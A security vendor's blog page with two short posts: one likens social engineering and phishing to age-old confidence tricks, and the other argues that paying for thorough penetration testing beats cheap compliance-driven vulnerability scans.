Social Engineering — Its Nothing New

With all the recent hype about Social Engineering we figured that we’d chime in and tell people what’s really going on. The fact is that Social Engineering is nothing more than a Confidence Trick being carried out by a Con Artist. The only difference between the term Social Engineering and Confidence Trick is that Social Engineering is predominately used with relation to technology.

So what is it really? Social Engineering is the act of exploiting a person’s natural tendency to trust another person or entity. Because the vulnerability exists within people, there is no truly effective method for remediation. That is not to say that you cannot protect your sensitive data, but it is to say that you cannot always prevent your people or even yourself from being successfully conned.

The core ingredients required to perform a successful confidence trick are no different today then they were before the advent of the Internet. The con artist must have the victim’s trust, and then trick the victim into performing an action or divulging information. The Internet certainly didn’t create the risk but it does make it easier for the threat to align with the risk.

Before the advent of the Internet the con artist (threat) needed to contact the victim (risk) via telephone, in person, via snail mail, etc. Once contact was made a good story needed to be put into place and the victim’s trust needed to be earned. That process could take months or even years and even then success isn’t guaranteed.

The advent of the Internet provided the threat with many more avenues’ through which it could successfully align with the risk. Specifically, the Internet enables the threat to align with hundreds or even thousands of risks simultaneously. That sort of shotgun approach couldn’t be done before and significantly increases an attackers chances of success. One of the most elementary examples of this shotgun approach is the email based phishing attack.

The email based phishing attack doesn’t earn the trust of its victims; it steals trust from existing relationships. Those relationships might exist between the victim and their bank, family member, co-worker, employer, etc. In all instances the email based phishing attack hinges on the attacker’s ability to send emails that look like they are coming from a trusted source (exploitation of trust). From a technical perspective, email spoofing and phishing is trivial (click here for a more sophisticated attack example).

The reason why it is possible for an attacker to steal trust from a victim instead of earning that trust is because “face to face” trust isn’t portable to the Internet. For example, most people trust their spouse. Many people talk to their spouse on AIM, MSN, Yahoo, Skype, etc. while at work. How do they know that they are really chatting with their spouse and not a hacker?

So how do you protect against the social risks and prevent the threat from successfully aligning with those risks? The truth is that you can’t. Con artists have been conning people since the dawn of man. The better question what are you doing to protect your data from the hacker that does penetrate into your IT Infrastructure?

PDF Download    Send article as PDF   

ROI of good security.

The cost of good security is a fraction of the cost of damages that usually result from a single successful compromise. When you choose the inexpensive security vendor, you are getting what you pay for. If you are looking for a check in the box instead of good security services, then maybe you should re-evaluate your thinking because you might be creating a negative Return on Investment.

Usually a check in the box means that you comply with some sort of regulation, but that doesn’t mean that you are actually secure. As a matter of fact, almost all networks that contain credit card information and are successfully hacked are PCI compliant (a real example). That goes to show that compliance doesn’t protect you from hackers, it only protects you from auditors and the fines that they can impose. Whats more is that those fines are only a small fraction of the cost of the damages that can be caused by a single successful hack.

When a computer system is hacked, the hacker doesn’t stop at one computer. Standard hacker practice is to perform Distributed Metastasis and propagate the penetration throughout the rest of the network. This means that within a matter of minutes the hacker will likely have control over the most or all of the critical aspects of your IT infrastructure and will also have access to your sensitive data. At that point you’ve lost the battle… but you were compliant, you paid for the scan and now you’ve got a negative Return on that Investment (“ROI”).

So what are the damages? Its actually impossible to determine the exact cost in damages that result from a single successful hack because its impossible to be certain of the full extent of the compromise. Never the less, here are some of the areas to consider when attempting to calculate damages:

  • Man hours to identify every compromised device
  • Man hours to reinstall and configure every device
  • Man hours required to check source code for malicious alterations
  • Man hours to monitor network traffic for hits of malicious traffic or access
  • Man hours to educate customers
  • Penalties and fines.
  • The cost of downtime
  • The cost of lost customers
  • The cost of a damaged reputation
  • etc.

(The damages could *easily* cost well over half a million dollars on a network of only ~50 or so computers. )

Now lets consider the Return on Investment of *good* security. An Advanced Penetration Test against a small IT Infrastructure (~50 computers in total) might cost something around $16,000.00-$25,000 for an 80 hour project. If that service is delivered by a quality vendor then it will enable you to identify and eliminate your risks before they are exploited by a malicious hacker. The ROI of the quality service would be equal to the cost in damages of a single successful compromise minus the cost of the services. Not to mention you’d be complaint too…

(Note: the actual cost of services varies quite a bit depending on what needs to be done, etc.)

So why is it that some vendors will do this work for $500.00 or $2,000.00, etc? Its simple, they are not delivering the same quality service as the quality vendor. When you pay $500.00 for a vulnerability scan you are paying for something that you could do yourself for free (go download nessus). Never the less, when you pay $500.00 you are really only paying for about 5 minutes of manual labor, the rest of the work is automated and done by the tools. (If you broke that down to an hourly rate you’d be paying something like $6000.00 an hour since you’re paying $500.00 per 5 minutes). In the end you might end up with a check in your compliance box but you’ll still just as vulnerable as you were in the beginning.

Create PDF    Send article as PDF   
Return top

INFORMATION

Change this sentence and title from admin Theme option page.